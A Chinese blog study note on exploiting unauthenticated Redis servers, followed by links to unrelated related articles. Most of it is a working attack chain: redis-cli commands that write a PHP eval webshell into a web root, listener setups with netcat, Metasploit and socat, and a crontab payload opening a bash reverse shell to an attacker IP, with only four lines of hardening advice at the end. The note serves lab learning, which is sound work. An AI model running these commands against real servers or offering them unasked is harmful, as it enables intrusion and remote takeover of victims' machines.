【Web】Redis未授权访问漏洞学习笔记

目录

简介

靶机配置

Redis持久化

Redis动态修改配置

webshell

反弹shell

Redis写入反弹shell任务

加固方案


简介

Redis(Remote Dictionary Server 远程字典服务器)是一个开源的内存数据库,也被称为数据结构服务器,它支持多种数据结构,如字符串、哈希表、列表、集合、有序集合等。Redis旨在提供一个高性能、持久化的 key-value 存储解决方案,并且具有丰富的功能和灵活的部署方式。

以下是 Redis 的一些主要特点和用途:

  1. 内存存储:Redis将数据存储在内存中,因此具有非常高的读写性能。它通常被用作缓存系统,用来加速对数据库或其他后端存储的访问。

  2. 数据结构丰富:Redis支持多种数据结构,包括字符串、哈希表、列表、集合、有序集合等,这使得它可以适用于各种不同的应用场景。

  3. 持久化:除了存储在内存中,Redis还支持多种持久化方式,如RDB快照和AOF日志,以确保数据不会因服务器重启或故障而丢失。

  4. 发布/订阅:Redis支持发布/订阅模式,允许客户端订阅消息通道并接收特定类型的消息。

  5. 事务:Redis支持事务操作,允许执行一系列命令,保证这些命令要么全部执行,要么全部不执行,从而保持数据的一致性。

  6. 分布式:Redis可以被配置成分布式系统,通过复制和分片来提高可用性和扩展性。

  7. 缓存系统:由于其高性能和丰富的功能,Redis经常被用作缓存系统,用来减轻后端数据库的压力。

靶机配置

1、关闭保护模式 protected-mode

2、取消IP绑定 bind

3、开放6379端口,或者关闭防火墙

4、不需要密码(默认) requirepass

Redis持久化

RDB Redis DataBase (默认)

AOF Append Only File

配置:

1、save 3600 1 #自动触发规则

2、dbfilename dump.rdb #文件名

3、dir ./ #存储路径

手动触发保存命令:save / bgsave

Redis动态修改配置

config set:动态修改配置,重启以后失效

config set dir /www/admin/localhost_80/wwwroot

config set dbfilename redis.php

webshell

复制代码
redis-cli -h 192.168.142.66 -p 6379
config set dir /www/admin/localhost_80/wwwroot
config set dbfilename redis.php
set x "<?php @eval($_POST[wuya]); ?>"
save

反弹shell

攻击机

复制代码
netcat  nc -lvp 7777 (-nlvp lvvp)
msf     msfconsole
        use exploit/multi/handler
        set payload php/meterpreter/reverse_tcp
        set lhost 192.168.142.141
        set lport 7777
        run
socat   socat TCP-LISTEN:7777 -

靶机

Redis写入反弹shell任务

Linux crontab

复制代码
crontab -u root -r 删除某个用户的任务
crontab -u root time.cron 把文件添加到某个用户的任务
crontab -u root -l 列举某个用户的任务
crontab -u root -e 编辑某个用户的任务

cron文件存储路径

复制代码
/var/spool/cron 这个文件负责安排由系统管理员制定的维护系统以及其他任务的crontab
/etc/crontab 放的是对应周期的任务dalily、hourly 、monthly、weekly

payload:

复制代码
set x "\n* * * * * bash -i >& /dev/tcp/192.168.1.44/7777 0>&1\n"
config set dir /var/spool/cron/
config set dbfilename root
save

加固方案

1、限制访问IP

2、修改默认端口

3、使用密码访问

4、不要用root运行Redis

相关推荐
小马爱打代码21 分钟前
Spring Boot :使用 Spring Cache 注解方式集成 Redis
spring boot·redis·spring
188号安全攻城狮2 小时前
【PWN】HappyNewYearCTF_9_ret2syscall
linux·汇编·安全·网络安全·系统安全
笨蛋不要掉眼泪2 小时前
Spring Boot + RedisTemplate 数据结构的基础操作
java·数据结构·spring boot·redis·wpf
知识即是力量ol2 小时前
深度解析:基于 JWT + Redis 白名单的双令牌高安全认证架构
redis·安全·架构
曲幽2 小时前
FastAPI部署中间件实战:从CORS到自定义,让你的API更健壮
python·fastapi·web·cors·starlette·middleware·call_next
HaiLang_IT2 小时前
网络安全与执法专业【精选选题表】优质选题参考
安全·web安全·php
陌上丨2 小时前
什么是Redis的大Key和热Key?项目中一般是怎么解决的?
数据库·redis·缓存
编程彩机3 小时前
互联网大厂Java面试:从分布式事务到微服务优化的技术场景解读
java·spring boot·redis·微服务·面试·kafka·分布式事务
青岑CTF3 小时前
moectf2023-了解你的座驾-胎教版wp
安全·web安全·网络安全
Moshow郑锴3 小时前
Spring Boot Data API 与 Redis 集成:KPI/图表/表格查询的缓存优化方案
spring boot·redis·缓存